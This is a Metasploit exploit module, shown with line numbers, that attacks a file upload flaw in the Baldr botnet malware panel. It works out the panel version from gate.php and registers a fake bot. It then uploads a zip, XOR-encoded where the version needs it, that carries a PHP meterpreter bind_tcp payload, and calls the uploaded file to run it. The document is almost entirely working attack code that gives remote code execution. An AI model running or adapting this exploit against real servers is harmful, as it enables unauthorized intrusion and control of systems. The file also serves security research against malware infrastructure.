1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/http'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Baldr Botnet Panel Shell Upload Exploit",
'Description' => %q{
This module exploits the file upload vulnerability of baldr malware panel.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ege Balcı <ege.balci@invictuseurope.com>' # author & msf module
],
'References' =>
[
['URL', 'https://prodaft.com']
],
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 5,
},
'Platform' => ['php'],
'Arch' => [ ARCH_PHP],
'Targets' =>
[
['Auto',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
],
['Baldr <= v2.0',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
],
['Baldr v2.2',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
],
['Baldr v3.0 & v3.1',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/gate.php")
)
ver = ''
if res.code == 200
if res.body.include?('~;~')
targets[3] = targets[0]
#target = targets[3]
ver = '>= v3.0'
elsif res.body.include?(';')
#target = targets[2]
targets[2] = targets[0]
ver = 'v2.2'
elsif res.body.size < 4
targets[1] = targets[0]
#target = targets[1]
ver = '<= v2.0'
else
Exploit::CheckCode::Safe
end
print_status("Baldr verison: #{ver}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
name = '.'+Rex::Text.rand_text_alpha(4)
files =
[
{data: payload.encoded, fname: "#{name}.php"}
]
zip = Msf::Util::EXE.to_zip(files)
hwid = Rex::Text.rand_text_alpha(8).upcase
if targets[0]
check
end
case target
when targets[3]
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/gate.php")}
)
key = res.body.to_s.split('~;~')[0]
print_good("Key: #{key}")
data = "hwid=#{hwid}&os=Windows 10 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
data = xor(data,key)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/gate.php"),
'data' => data.to_s
}
)
if res.code == 200
print_good("Bot successfully registered.")
else
print_error("New bot register failed !")
return false
end
data = xor(zip.to_s,key)
form = Rex::MIME::Message.new
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"file.zip\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,"/gate.php"),
'ctype' => "multipart/form-data; boundary=#{form.bound}",
'data' => form.to_s
)
if res && (res.code == 200 ||res.code == 100)
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
print_error("Server responded with code #{res.code}") if res
print_error("Failed to upload payload.")
return false
end
when targets[2]
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/gate.php")}
)
key = res.body.to_s.split(';')[0]
print_good("Key: #{key}")
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
data << zip.to_s
result = ""
codepoints = data.each_codepoint.to_a
codepoints.each_index do |i|
result += (codepoints[i] ^ key[i % key.size].ord).chr
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,"/gate.php"),
'data' => result.to_s
)
if res && (res.code == 200 ||res.code == 100)
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
print_error("Server responded with code #{res.code}") if res
print_error("Failed to upload payload.")
return false
end
else
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,"/gate.php"),
'data' => zip.to_s,
'encode_params' => true,
'vars_get' => {
'hwid' => hwid,
'os' => 'Windows 7 x64',
'cookie' => '0',
'pswd' => '0',
'credit' => '0',
'wallet' => '0',
'file' => '1',
'autofill' => '0',
'version' => 'v2.0'
}
)
if res && (res.code == 200 ||res.code == 100)
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
else
print_error("Server responded with code #{res.code}") if res
print_error("Failed to upload payload.")
return false
end
end
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/logs/#{hwid}/#{name}.php")}, 3
)
print_good("Payload successfully triggered !")
end
def xor(data, key)
result = ""
codepoints = data.each_codepoint.to_a
codepoints.each_index do |i|
result += (codepoints[i] ^ key[i % key.size].ord).chr
end
return result
end
end
|